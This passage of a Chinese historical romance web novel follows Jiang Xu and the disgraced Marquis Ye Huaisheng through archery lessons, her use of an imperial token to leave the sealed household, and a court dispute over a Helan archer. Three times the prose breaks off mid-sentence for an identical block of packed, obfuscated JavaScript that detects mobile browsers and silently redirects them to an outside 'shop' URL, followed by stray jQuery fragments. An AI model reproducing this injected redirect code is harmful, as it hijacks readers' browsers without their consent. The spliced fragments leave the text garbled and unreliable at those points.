    指尖刚触碰到锦被的边缘，却听见榻上之人原本清浅的呼吸声一瞬消失。


    他抬眼，正对上她错愕的眼神。


    他的手僵在半空，指节微微缩回，连带着呼吸都滞了一瞬。


    屋里静得能听到两人咚咚的心跳声。


    两人就这么僵着，一个俯身悬着手，一个躺着睁着眼，连空气里都飘着几分说不清道不明的窘迫。


    姜絮眼睛都不敢眨一下，直勾勾地盯着他，盯得他喉结滚了下，眼底闪过一丝慌乱，但转瞬又被冷硬的戾气压了下去。


    他猛地攥着锦被的一角，并不是帮她盖好，而是用干脆利落地往床尾一甩，带起一阵风，拂过她周身，一阵凉意。


    “别睡了。”他沉声道，眉毛拧成一道锋利的线，语气里满是不耐烦，目光却避开了她的脸，落在床尾的锦被上。


    他张了张嘴，想说句硬气的话掩饰尴尬，却什么都没说出来，又听得耳畔传来她满是茫然的发问：


    “侯爷是有什么安排吗？”


    “没有。”他并不占理，但语气蛮横，指尖仍捻着锦被的一角，似要将其捻成灰一般。


    “那侯爷这是……”姜絮的语气愈加困惑，慢慢坐起身，拾起脚踏上的淡青襦裙。


    虽然不知是何意味，但她也乖乖照做。


    “本侯要去练枪。”他说，余光瞥到她正在穿衣，目光又移远了半寸，“你也别闲着。”


    “我也要练吗？”姜絮回道，理了理肩头的褶皱，跪坐在塌，微微倾身，凑到他身旁，歪着头去看他别过去的侧脸：


    “可我不会啊。”


    一阵清甜的微香顺着声音从身侧漫过来，叶淮生鼻尖翕动，顺着余光的方向转头，一眼便撞见一脸茫然地盯着他的姜絮。


    泼墨般的长发松松散散披在肩头，衬得那张没施粉黛的脸更显娇艳，眼尾仍带一抹刚睡醒时轻轻揉捻的红，眸中似洇着雨后青山的云雾涳濛。


    他一瞬觉得，她似乎离他很远。


    “侯爷是要教我吗？”她问，声音软乎乎的，带着点哑，丝毫没注意到他神色有些不自在，仍往他跟前凑。


    他拂袖转身，背对着她，冷言道：


    “你倒也敢想。”


    “有何不敢想？”姜絮回他，解释道：“嫁给侯爷这事，我想也没敢想，不也莫名其妙实现了吗？”


    荒谬，但是事实


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17058382|194933||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    。


    以至于姜絮到现在都感觉自己像在做梦，时常觉得梦会醒来，醒在她在栖云寺插手苏芸与李径的事之前。


    如果那天，她换了一条路走，后面的事，是不是都不会发生。


    可苏芸那天跟她说，三年前的宫宴，她在三年后才看到了命运流转。


    那如今的赐婚，又是为着三年后的什么？


    或者说，三个月后，甚至三天后。


    既然父亲那般笃定他是罪臣，那定罪之日并不会太远。


    国朝旧例中，靠赐婚洗冤翻身的少之又少，以至于那三百封求婚折子，一听说这事，便纷纷主动消失。


    人人都知他是必死的结局，但她却仍愿淌这趟浑水，不也很荒谬么？


    他防她欺她羞辱她，不过是困兽犹斗。


    算了，他都快要死了，让让他吧。


    就当是陪他在这牢笼之中对抗命运的不公。


    况且，从昨夜侯府的动静看来，她可不想死在他定罪之前。


    她得学些保命的技巧。


    “那侯爷呢？”姜絮追问，“敢不敢教我？”


    叶淮生回头睨她一眼，嘲讽道：


    “有何不敢？只怕是本侯敢教，某人不敢学。”


    -


    西厢房外盘着一棵老梨树，枝桠横斜，满树的素白花瓣上缀着星星点点的雨露，在熹微的晨光中轻轻晃着。


    叶淮生负手立于梨树之下，目光扫过一截遒劲的粗枝，忽然抬手，掌风凌厉劈下。


    “卡擦”一声脆响，手臂粗的枝桠应声而断，断口处沁出青白色的汁液，动作过大，枝头梨花簌簌落下，连带着昨夜攒在花上的雨水稀里哗啦坠落。


    姜絮正站在梨树下仰头看他，冷不丁被淋了一头一脸。


    沁凉的水珠沾着她的发梢、眉睫，甚至滚进她微张的嘴角，带着点梨花的清冽淡香。


    她下意识地闭眼蹙眉，胡乱抹了把脸上的雨水，然后就听见他冷硬的斥责：


    “不知道躲？”


    “你不也没躲？”姜絮轻声反问，眉间黏着一瓣素白梨花，花瓣沾着雨露于风中轻颤，衬得她眉眼间透着一股清冷淡漠。


    察觉到眉间一丝痒意，她伸手去拈。因那花瓣沾了雨水，她几次尝试反倒让花瓣贴得更紧了些。


    “我需要躲？”他反问，冷硬的声音里裹着几分不耐烦，目光落在她眉间的那点素白上，“刀光剑影，本侯都不曾退却半步。哪像你，淋了几滴水就这副娇滴滴的模样。”


    没等她再抬手，他便俯身靠近，两指轻轻捻着花瓣一角，稍一用力就将那瓣梨花拈了下来，随手丢在地上。


    指腹擦着她的眉心，微凉的触感转瞬即逝。


    姜絮怔在原地，呼吸一瞬停滞，还未反应过来，他便已将那截刚劈下来的梨树枝塞到她手里：


    “先拿这树枝练手。”


    树枝粗糙，硌着掌心，让她从方才的怔忪中回过神来，抬眼望他，失望道：


    “侯爷看不起我，竟拿唬小孩子的玩意儿哄我。”


    “那你想用什么，用我那柄一十八斤有余的长枪？”他问，语气带着几分讥诮，似在嘲笑她的不自量力。


    姜絮摇头，语气带着几分认真：“我想学射箭。”


    叶淮生倏然一顿，盯着她清明澄澈的眼神，像是忽然反应过来什么，喉间溢出一声低笑：


    “你算计我？”

 14. 栽赃

    “不敢不敢，只是听闻镇北候箭术了得，仰慕已久，特此求教。”姜絮手里还握着梨枝，抱拳作揖，脑袋一不小心戳到梨枝上，“哎哟”一声，揉着额头。


    “你查我？”叶淮生问道，从她手中扯过梨枝，习惯性地轻轻摩挲，却觉察到枝上仍带着她掌心余温。


    “是我阿姐说的。”姜絮回道，绕着叶淮生走了一圈，边走边夸：“阿姐说侯爷丰神俊朗，气宇轩昂，还说侯爷骑□□绝，弓马娴熟，在北疆的战场之上，隔着百余步远，搭箭拉弓，瞬息穿喉，将那敌首钉死在身后的旗杆之上。阿姐还说……”


    “够了。”他声音冷得像冰，似藏着一丝愠怒。


    姜絮当即咬住下唇，嘴角抿成一条直线，不敢再言语，想着，阿姐写得不对啊，她不是说叶淮生喜欢听赞美之词吗，怎么会这般恼怒。


    难道是她夸得不对？


    她没瞧见他垂眸时眼底飞快闪过的一丝异样，只当他是真的不耐烦，恹恹地垂下头，故作哀怜道：


    “我只是想求条生路罢了，既然侯爷不愿给，那只好听天由命。”


    “此言何意？”他问，一把攥住她的手腕，力道不大，刚好拉住她转身离去的脚步。


    “侯爷当真以为我心愚钝？”她回头望他，却见他耳尖不知何时悄悄漫上一层薄红，与身后一树素白梨花相映，像是雪地里晕开的一抹胭脂。


    她缓缓开口：


    “京郊劫杀那次，贼首说的是要杀镇北候夫人；忠勇侯府那次，二皇子明知我是镇北候夫人，仍拿剑指着我的脖子；再加上昨夜，杀我的人都杀到门口来了。如果我还没看明白的话，那我岂不成了傻子？”


    她不知道他到底树敌多少，他又失势多少。


    她只知道，她不可以指望他每次都能及时出现，在拿到他的罪证之前，她得活着，她得自救。


    听闻此言，他手上力度放轻，松开她的手腕，半晌才吐出一句声音沙哑的话：


    “戴罪之身，不得私藏器械。”


    他的脸色一点一点沉下来，往日那双盛着锋芒的眸子，此时蒙上一层灰白的雾色，连挺得笔直的脊背，都似乎微微垮了几分。


    昔日威风凛凛让万人仰望的战神，此时连拿到一把弓箭都成了奢望。


    怪不得他会折了树枝教她。


    那初见那日，他那长枪舞得意气风发又是怎么回事？


    姜絮不敢多问，怕触了他的逆鳞，柔声细语但又十分笃定地说道：


    “倘若我能光明正大为侯爷拿到弓箭，并且解封演武场呢？”


    叶淮生眼皮一掀，眸中闪过一丝疑虑，并未搭言。


    “侯爷不信我？”姜絮追问，“那我希望侯爷能给我一个承诺，如果我能让演武场解封，侯爷就得教会我射箭。”


    叶淮生望着她藏着谋略的眼神，豪言道：


    “好，本侯答应你。”


    话音刚落，阿策的身影出现在檐上，得了叶淮生的眼神示意立刻飞身而至，稳稳落于叶淮生身前，半跪在地：


    “见过侯爷，见过夫人。”


    阿策欲言又止，姜絮看明白了，这是介意有她这个外人在，识趣地说道：


    “那我去书房抄经。”


    “不可。”叶淮生冷硬拒绝。


    姜絮的一句“为何”还没问出口，便识相地应了句：


    “好吧，那我回府找青荷。”


    “不可。”叶淮生再次拒绝，在姜絮发出疑问之前解释道：


    “过会儿本侯随你一同回去。”


    “为什么？”姜絮脸上困惑更甚，生出一丝警惕：


    “侯爷为什么要跟我一起回去？”


    若是阿姐在府上，恐怕要生出些什么事端。


    阿策在一旁憋笑，牙关咬得死死的，腮帮子一阵酸疼，最后没忍住溢出一声极轻的“唔”。


    “阿策你有话要说？”姜絮问道，给了阿策，也给了她自己一个台阶。


    阿策不敢回话，见侯爷没有制止便是默认，这才解释道：


    “夫人昨日新婚，今日便回娘家，不合礼制；而且夫人一个人回去，没有侯爷陪同，会让人笑话。”


    “哦。”姜絮淡淡应道，看了眼叶淮生，阴沉着的一张脸上看不出任何情绪。


    “没关系。”姜絮说着，拔腿就走，“让他们笑话去吧。”


    这样，阿姐那边也能交差了。


    才走出几步，手腕突然被一股力量攥住，姜絮脚下踉跄着整个人不受控制向后倒去，后腰猛地撞上温热坚实的臂膀，痛得被像拦腰截断了一样。


    她疼得龇牙咧嘴，再抬眼时，却对上叶淮生冷硬深沉的眼眸。


    他单手扣着她的手腕，另一只手揽着她的腰，脸色依旧绷紧，语气强硬地说道：


    “本侯不准你回去！”


    姜絮被叶淮生突然发作的脾气吓到，唯唯诺诺道：


    “主要是我在这府里实在无事可做。”


    她轻“啧”一声，慨叹道：


    “要是有……”


    “准你去书房。”叶淮生打断她，早已看出她心中图谋。


    姜絮咬着下唇，嘴角憋得快要翘上天，虽极力克制着得逞后的雀跃，但脸色的笑意却藏都藏不住。


    叶淮生看得清楚，喉间轻哼一声，原本还在烦躁的心，莫名松快起来，但依旧板着个脸。


    待姜絮身影拐过了游廊，阿策才上前说道：


    “侯爷，夫人可是户部尚书的人。”


    意思是，不得不防。


    “她那点脑子，做不了眼线。”叶淮生轻蔑地说道，又问：


    “有何事禀报？”


    “侯爷，已查到林朔的藏身之处，接下来该如何行动？请侯爷指示。”


    林朔是叶淮生的偏将，暗调忠勇侯的时候，叶淮生查到忠勇侯与林朔有往来。


    半年前，忠勇侯把林朔的老母幼子接入了京郊别院，表面上锦衣玉食，实则到处都是忠勇侯的暗卫，明显带着威胁的意味。


    而林朔，刚好在叶淮生被弹劾通敌叛国之罪时，断联不见。当时圣上下旨彻查镇北候府在京中的旧部，阿策带来了每个旧部的消息，唯独没有林朔的。


    当时他便觉得蹊跷，今日林朔再度现身，更加蹊跷。


    叶淮生攥着拳头，指节泛白，脸上瞧不出半分情绪，半晌，他才开口：


    “按兵不动。”


    阿策微怔，似是不解，却不敢多问，欲言又止，内心几番挣扎后终于开口：


    “侯爷，恕属下愚钝，忠勇侯府好不容易撕开一个口子，既然查到了林朔，为何不顺藤摸瓜一举沉冤昭雪，好早日回那北境，免得淌这京城的浑水。”


    昨日卫珏也是这样发问。


    “朝堂博弈，没有你们想得那么简单。”叶淮生回他。


    阿策虽不懂朝堂博弈，但他知道趁胜追击，望着侯爷远去的身影，他默默做了个重大的决定。


    -


    叶


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17058383|194933||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    淮生的书房没有繁复的陈设，迎面满壁的书架上，层层叠叠塞满了兵书策论，侧面墙上挂着一副《北境行军图》，边角处泛黄皱起。


    行军图的对面摆着一张厚重的紫檀木桌案，姜絮立于案前，正挽着袖口研墨，墨汁渐渐晕开，漫出清冽的松烟香气。


    她提起案上的狼毫笔，蘸了蘸墨汁，思索片刻后，笔尖落到纸上，随着她手腕开始游走。


    她凭着记忆，画了她初至府邸时，乱入小巷，被青姨和阮伯吓哭，他把她抱在怀里的场景。


    蓦然回想，那时，他像天神一样，又救了她一次。


    走笔停顿，她在犹疑，或许不该这样对他，可父亲那边又不能不交代。


    笔尖继续在纸上游走，画作完成后，她又在下方添了几行字。


    完成这一切，姜絮心满意足将其塞进信笺，趁叶淮生还未赶到书房，独自一人朝那侯府大门去了。


    一路上随处可见身着铠甲的禁军把持在路上，手里的长枪泛着冷光，枪尖的红缨被风吹得晃动。


    他们个个目光如炬，面无表情，从他们身旁路过时，姜絮察觉到了他们眼神里的审视意味，只是碍于她的身份，没人敢上前阻拦。


    行至朱漆大门前，守在门楣下的禁军校尉上前一步，沉声道：


    “夫人请回，此门已封禁，无旨不可擅自出入。”


    冷风卷着院内苍凉的落叶旋到她的脚下，吹乱了她额前碎发。


    她没应声，只是缓缓侧过脸，眼眸微微眯起，透着一股压人的气势。


    那校尉被她这一眼扫得心头惶恐，却不得不奉旨行事：


    “夫人若执意如此，末将只能……”


    话音未落，身后的七八个禁军已齐齐上前一步，脚步声与铠甲声交织，沉重得瘆人。


    长枪横立，齐刷刷地指着姜絮的周身要害，像是一张无形的铁网，把她困在中央，枪尖几乎要戳到她的淡青襦裙，却在撞上她那毫无惧色的眼神时，顿住半分。


    “夫人莫要为难……”


    校尉的话说到一半，却见姜絮忽然抬手，手中握着一枚鎏金鱼符，正是圣上亲赐的信物，顿时心就凉了一半。


    圣上对镇北候夫人的偏爱之心，京中人尽皆知，只是未曾想到竟然亲赐鱼符。


    可转念一想，她一个戴罪的夫人，怎么可能会有鱼符？正犹豫时，却见姜絮缓步上前，握着鱼符的手微微扬起：


    “伸手。”她命令道。


    禁军校尉不明所以，但是照做，伸出右手。


    “手掌摊开。”


    姜絮松手，“啪”的一声，那枚沉甸甸的鱼符落在禁军校尉的掌心，弹了一下，在险些落地前，被他稳稳攥住。


    “夫人这是作何？”禁军校尉被那鱼符烫得心慌，忙将鱼符递还。


    但姜絮并不接，只是指尖虚虚掩在鼻侧，刻意嫌弃地说道：


    “既然校尉都不认这鱼符，本夫人留着又有何用？自然是到圣上那里再讨一枚新的。”


    说完，姜絮故意顿了一下，继续说道：


    “上次，忠勇侯府的人抢了我的手谕，圣上赐了我一枚鱼符；这次校尉你抢了我的鱼符，那圣上……”


    话未说完，禁军校尉慌张解释：


    “夫人慎言，末将何曾抢……”


    “那鱼符为何在你手上？”


    姜絮的声音不大，却字字清晰，身上迸发的威严让周围的禁军慌了神，纷纷收起长枪，随即扑通跪地。

 15. 红缨

    御书房内，坐于案前的圣上脸色阴沉，不耐烦地揉着眉心，余光却离不开那则恼人的密报：


    【贺兰使臣兀尔烈近日于闹市挑战连胜我朝大将。】


    立于御前的兵部冯尚书早已汗湿朝服，头埋得更低：


    “圣上息怒，兀尔烈挑战的那些武勋子弟本就不擅骑射，兀尔烈能赢实属侥幸。”


    “侥幸？”圣上怒意更甚，眼中怒火翻涌：


    “贺兰国以骑射闻名，人人练就一手出神入化的骑射绝技。而那兀尔烈，乃贺兰国第一神箭手，你跟朕说他是侥幸？”


    贺兰国乃西境一独立沙洲小国，因不堪周边侵扰，故主动依附大兖王朝。每年春蒐，贺兰国都会派使臣入京，既是表达归顺之心，亦是借大兖之势震慑周边诸国。


    历年来，从未出过纰漏。


    直到去年，新任贺兰可汗继位，递来继位表文，请求大兖圣上册封。


    表文上说，原定的先可汗嫡子意外崩逝，由嫡次子继位。圣上并未多想，赐了下封诏书和印绶，让其名正言顺继位。


    谁知，半个月后，从贺兰国逃出的先可汗亲信来报，说现任可汗谋杀长兄，篡权夺国，证据确凿，字字属实。


    圣上一时犯难，招来诸臣商议，最后决定只要新可汗仍愿意归顺大兖，便将此事搁置不表，一切照常。


    只是，那新任可汗表面归顺，实则常与匈奴往来，暗中杀害大兖臣民。贺兰密探来报，其叛离之心日显。


    圣上本想借此次春蒐，敲打敲打那贺兰国使团，谁知人家先蹦到大兖脸上作威作福。


    这口气，谁咽得下？


    “京中还有谁，没有被兀尔烈挑战过？”圣上问道。


    “京中排得上名号的箭术高手，羽林卫箭术教头陆骁，定远侯府的霍小侯爷，平阳侯府的世子江浔，都已落了下风。”


    “这么说，堂堂大兖王朝，竟找不出一个拿得出手的人物？”圣上气得喉间溢出一声冷哼。


    “还有一人，不曾出战。”兵部尚书战战兢兢地抖出那人：


    “镇北候。”


    说完后又觉得不妥，忙找补道：


    “只是那镇北候如今戴罪之身，按例不能参加春蒐。况且我大兖人才济济，定会有人在那春蒐上胜那兀尔烈半分。”


    “三日后便是春蒐，时间紧迫，你去哪里去找百战百胜的神箭手？”


    “微臣当尽力而为。”兵部尚书拱手躬身，弯腰更甚。


    “大兖的脸面，可不是你一句尽力而为就能保得住的！此次春蒐，大兖必须胜，必须挫挫那贺兰国的锐气！这镇北候，朕用定了！”


    “万万不可啊，圣上——”兵部尚书扑通跪地哭诉，“这不合礼制。”


    就在这时，内侍来报，镇北候夫人求见。


    “不见。”圣上摆手。


    “夫人说要状告镇北候谋逆，须亲自面圣。”


    “谋逆？”


    “谋逆？”


    兵部尚书与圣上二人皆是一惊。


    -


    处理完阿策的事宜后，叶淮生先去了书房，没见着姜絮，又去了西厢房，依旧没人，他唤了个禁卫上前：


    “可有见到夫人？”


    “禀侯爷，夫人出去了。”


    “出去？府上的禁制干什么用的？”叶淮生呵斥道，抬脚便往大门走去，禁卫跟在身后解释：


    “夫人有圣上赐的鱼符，末将不敢不从。”


    “废物！”


    这次又想拿着鱼符去做什么？


    像上次那样哭着求圣上为她作主？


    还是央求圣上送她一副弓箭？


    叶淮生想起她在梨花树下那个信誓旦旦的表情，顿时火冒三丈，脚底生风，三步两步便已来到漆红大门前。


    禁军校尉本想上前阻拦，却一眼看出侯爷周身的怒气，生怕引火烧身，主动屏退左右。


    大门缓缓拉开，叶淮生前脚刚迈出去，迎面便见着一个人，身后跟着两个小厮。


    那人身材魁梧，满脸络腮胡，衣着似外邦人打扮。早些年西征的时候，叶淮生曾见过这种长相的人，应是西境的一些部族。


    那人朝叶淮生抱拳作揖：


    “拜见侯爷，在下乃此次入京参加春蒐的贺兰国使臣，兀尔烈。”


    叶淮生微微躬身回礼，还未发言，对方便道明来意：


    “在下久闻侯爷武艺高超箭术精湛之名，今日特此上门求教，却不知……”兀尔烈停顿了下，眼神环视一周，视线落在了漆红大门的封条上。


    封条裂开，在风中飘动，徒增一股凄凉的感觉。


    却不知他已被软禁在府中。


    后半句话兀尔烈并没有说完，一切尽在不言中。


    “不知侯爷可愿一试高下？”


    兀尔烈言辞恳切，礼数周到，说完还行了个中原的作揖之礼。


    叶淮生回道：


    “本侯愿意奉陪，只是内子尚未归府，思念心切，无心比试。”


    说着，叶淮生眼神示意便要离去，却被兀尔烈一手拦下：


    “在下知侯爷爱妻甚切，前几日侯爷冲冠一怒为红颜的事，在下也略有耳闻。今日一见，才知侯爷竟是苍鹰一样的男人。”


    “你这模样，配上弯刀骏马，就是草原上最亮眼的好儿郎，哪个姑娘见了不心动！”


    “何苦将心思浪费在一个女子身上？侯爷跟我回贺兰，天下美女，任君挑选。”


    兀尔烈自顾自说着，完全没注意到叶淮生渐渐阴沉的脸色。


    身后跟着随从中有一个中原打扮的人，小心翼翼凑上前去，小声说道：


    “侯爷在中原也有数不清的女人。”


    “哦？”兀尔烈侧了下头，耳朵贴了过去，问道：


    “那为何？”


    随从比了个摆手的手势，示意不可说不可说，但见兀尔烈兴趣强烈，只好垫脚凑到兀尔烈耳边，以极低的声音说道：


    “上一个挑衅侯爷夫人的人，已经被满门抄斩了。”


    兀尔烈的脸上登时闪过一丝骇人的神色，慌忙缩回手，再次躬身：


    “是在下冒昧了。”


    心下却想，侯爷居然惧内。


    又问道：


    “待侯爷寻回夫人，再行比试，侯爷可愿？”


    叶淮生自是不愿，眉头蹙起，墨色的眸中翻涌着慑人的压迫感，吓得身后两个仆从低眉后退，退到兀尔烈的身后。


    还未来得及拒绝，忽然一阵急促的马蹄声踏破空气中的死寂，内侍的尖细嗓音穿透巷陌：


    “镇北候接旨——”


    突然宣召，叶淮生脚步微顿，随即敛衽俯身，背脊挺得笔直：


    “臣，接旨。”


    内侍跳下马车，凑近一步，语气带着几分客气的催促：


    “侯爷，陛下口谕，宣您即刻进宫，御书房候见。”


    叶淮生心头跳了下，指尖在袖中悄然攥紧。


    上次被这般宣口谕进宫，还是姜絮在御书房哭诉被忠勇侯府次子刁难之事，圣上命他想办法了结与忠勇侯府的争端。


    不知这次，又是为何：<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17058384|194933||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>“李公公，陛下召臣，可是因为微臣夫人？”


    李公公笑而不语，手势指着一旁备好的马车，尖声道：


    “侯爷进宫便知。请吧，侯爷。”


    内侍不肯透露半分，叶淮生便不再追问，上了马车，车帘落下的瞬间，外头传来一声高亢的唱喏：


    “御前差事，闲人避让——”


    叶淮生掀开轿帘一角，望着街上纷纷避让的行人，眸色深沉。


    上次从这里路过，坐在轿子里的，是那个眼睛哭得又红又肿还无处申冤的某人。


    而那次，他还高骑大马，耀武扬威地在街上行走，人人避让，只因他是罪臣之身。


    后来，扳倒了忠勇侯府，他也进一步失势。侯府加强禁卫，裁撤一切用度，封禁所有房舍，独留一间西厢房与书房一隅。


    因那多疑的圣上起了戒心，镇北候人在府中，势在京城，不然不会那么快揪出朝堂争斗的核心。


    他得给他做臣子的一个下马威。


    而这次，不知又会因她，卷入怎样的争端。


    一想到事情变得有趣起来，他的眼底倏然漫过一丝极淡的笑意，漾着几分玩味的光。


    窗外的风卷着窗帘翻飞涌动，晌午的阳光漏入车厢，明明灭灭，晕染在他隽美的侧脸上，勾勒出他挺直的鼻梁，一半浸在昏暗，一半浸在光亮，叶淮生的嘴角仍噙着笑意，透着几分漫不经心的张狂。


    就在马车行经玉容堂的时候，铺子里的掌柜一声低语：


    “御前马车里那人，好像是镇北候。”


    此言一出，方才还矜持着挑选脂粉欢声笑语的贵女们，纷纷丢下脂粉匣子，挤到临街的窗边。


    “镇北候不是戴罪在身吗？怎么看着竟无半点颓唐，反倒有几分落拓的锐气，比从前更让人移不开眼了。”


    “见惯了镇北候往日高高在上的模样，如今落魄了，竟然多了些烟火气，怎么感觉我们这等寻常贵女也敢染指了呢？”


    “还染指呢？镇北候夫人的威名你是没听说过吗？”


    叽叽喳喳的议论声中，满是少女怀春的雀跃，连带着铺子里的脂粉香，都染上了几分甜丝丝的期待。


    唯有一人，仍神色淡然地挑选着香膏。


    一眼看去，她的肤色并不讨喜。不似中原女子般粉白，反倒略带一点小麦色，似常年在日晒雨淋中锤炼，眉眼间有几分边关风沙淬出来的利落，周身自带一股洗尽铅华的英气，与这满屋的脂粉气格格不入。


    她手里握着一方青釉小瓷罐，揭开盖子的瞬间，一股清寒的香溢了出来。


    她想起云州冬日的松，呼号的风，凛冽的雪，清幽的月，以及苍茫的旷野，一瞬眼框变得温润，眼角溢着淡淡的红。


    那是久违的北地的味道。


    不逢故土的冬，已经近二十年。


    “夫人眼光真好，这松枝雪影是刚研制出来的新款，目前就只剩这一个了，夫人可需要？”


    伙计热情地上来接待，瞟了眼虽衣着简朴，但举手投足仍透着贵气的楼红缨，以为是个有钱的主，还未等对方回答，便张罗着要将香膏包起来。


    楼红缨稍稍抬手：


    “不用了。”


    “可是这款香膏让夫人不满意？不满意的话，这边还有其他的……”


    “不必了。”楼红缨打断道，唤了贴身的丫鬟，利落地转身离去，主仆二人的身影淹没在来来往往的人群里。


    只剩不明所以的伙计留在原地：


    “这御史夫人也不缺钱，怎么连买块香膏都舍不得？”

 16. 薄情

    内侍通报的声音还在殿外荡着，叶淮生刚踏入御书房，迎面便是阴沉逼仄的寒气，混着丝丝缕缕安神的龙涎香，但并不能让他抑制住两侧太阳穴的轻跳。


    御案之后，圣上垂眸望着阶下二人。


    左侧是身着朝服的兵部冯尚书，脊背崩成一张弓，站在靠窗的地方，阳光下的影子似在微微颤抖。


    而右侧，那个熟悉的身影，让他脚步微顿。


    姜絮一身淡青襦裙，垂首而立，她听出了他的脚步声，没敢抬头，只是嘴角微微抿紧，似有几分不安。


    “叶淮生——”圣上的声音不大，漫不经心，却自带天子威慑，“你可知罪？”


    “微臣知罪。”叶淮生抱拳躬身行礼，语气恭敬，声线平稳无波。


    “朕还没说何罪。”圣上将密报递与内侍，再由内侍转呈到叶淮生手上，“此次春蒐，可愿戴罪立功？愿意的话，朕让冯尚书把你列入春蒐名单。”


    叶淮生接过密报，密报中“兀尔烈”几字格外扎眼，他忽然明白过来，回道：


    “微臣乃戴罪之身，参加春蒐只会玷污皇家颜面。”


    叶淮生话中有话。


    再玷污皇家颜面，会有兀尔烈在春蒐打败大兖男子更丢皇家颜面吗？


    不过是想圣上在罪臣与功臣之间二选一罢了。


    若特赦他参加春蒐，则是告知诸臣，圣上坚信他底色清白，只是暂时蒙冤待查。


    若介意他罪臣之身，则此次春蒐必败，丢了皇家颜面事小，蠢蠢欲动的贺兰国叛盟事大。


    圣上听懂了他的言外之意，拇指下意识地摩挲着羊脂白玉扳指，一圈一圈，力道越来越重，像是在掂量着什么，又像压抑着翻涌的怒意与忌惮。


    “你先下去。”圣上挥手，屏退冯尚书，而后走下阶来，负手立于叶淮生身前，目光死死盯着叶淮生，沉声道：


    “你在威胁朕？”


    “微臣不敢。”叶淮生抱拳躬身，歉意更甚。


    一旁的姜絮听得头皮发麻，鸡皮疙瘩都立起来了，只觉得身后阴测测的发冷，猛的想起之前忠勇侯府之事，不知他是否也如今日这般张狂。


    为了逼圣上证他清白，当真不怕掉脑袋？


    “圣上。”姜絮颤颤巍巍开口，僵持中的二人同时朝她看来，圣上眼中是疑虑，叶淮生的眼中则是嫌弃：


    你又要惹什么祸？


    “圣上，臣妇有一计，或许能在春蒐上战胜那兀尔烈，且让贺兰国颜面扫地。”


    圣上眼中又惊又疑，指尖无意识地敲着扳指，一声一声，敲得人心发紧：


    “你？”


    “一介妇人，又能有何计？”


    圣上语气里的质疑毫不遮掩，一旁的叶淮生嘴角微扬，带着几分轻蔑与嘲笑，正欲开口帮她赔罪，却听见她笃定地说道：


    “监军御史夫人楼红缨，可解此次春蒐之困，若楼红缨作为一介女流能在春蒐上夺魁，岂不狠狠地煞了贺兰国的威风。”


    话音刚落，叶淮生没忍住轻笑一声，想起兀尔烈那魁梧的身躯，望向姜絮的眼里浮现一丝嘲讽，心里仅剩的忧虑终于落地。


    还以为她会请出个多厉害的人物。


    也不过如此。


    春蒐之困，非他不可。


    圣上的眼里也流露出一丝失望，但仍存疑问道：


    “何出此言？”


    “楼红缨出身云州，乃定边军主将楼乘风的嫡女。听闻她三岁握弓，五岁射鹿，及笄之年便能挽得那烈穹之弓，百步穿杨，箭术远超军中将士。”


    “这般巾帼英雄，为何朕从未听说过？”圣上问道，疑虑更甚，“你又如何得知？”


    因为楼红缨嫁给监军御史后，自愿敛去一身锋芒，学着做个端庄得体的御史夫人，每日忙着打理后院之事，渐渐荒废了一身本领。


    但是这些，姜絮都没有说，她依旧垂着眉眼，只是声音更加坚定：


    “少时，先母常带臣妇到护城河畔放风筝，有一日风筝缠到了那柳树树梢，是御史夫人帮臣妇取下。自此御史夫人与先母常有往来，臣妇也略听得御史夫人些许往事，对其征战沙场之事记忆犹深。”


    语毕，圣上眉头稍缓，似在认真揣度，而后又问：


    “可已经过了这么多年，你确定她的箭术一如往前？”


    “臣妇有七分把握，剩下的三分。”姜絮转头看向叶淮生，见他素来冷硬的眉眼，竟不知为何柔和了几分，继续说道：


    “还望夫君相助。”


    叶淮生还在回想着她方才谈及的护城河放风筝之事，忽的听见“夫君”二字，心头一跳，像是被这两个字烫了一下，呼吸都有些发滞，面上瞧不出半分波澜，只心里清浅地漾开一圈一圈涟漪。


    “如何相助？”他微微侧头，垂眸避开她的眼神，耳根却悄悄漫上一层薄红。


    “我需要侯爷参加春蒐。”姜絮一字一字，眼见着叶淮生晦暗不明的眼眸一瞬亮起，继续说道：


    “助她夺魁。”


    叶淮生眼里的微光又一点一点暗了下去，姜絮的心也一点一点沉了下去，但仍心中清明，转而朝圣上俯首作揖：


    “恳求圣上，下旨解封镇北候府的演武场，让侯爷为春蒐做准备。”


    说完，姜絮的头埋得更低了，不敢去看叶淮生的眼睛，只听得身侧之人重重的呼吸，似掺杂着一股化不开的怨气。


    对不住了，侯爷。


    断了你的立功之路。


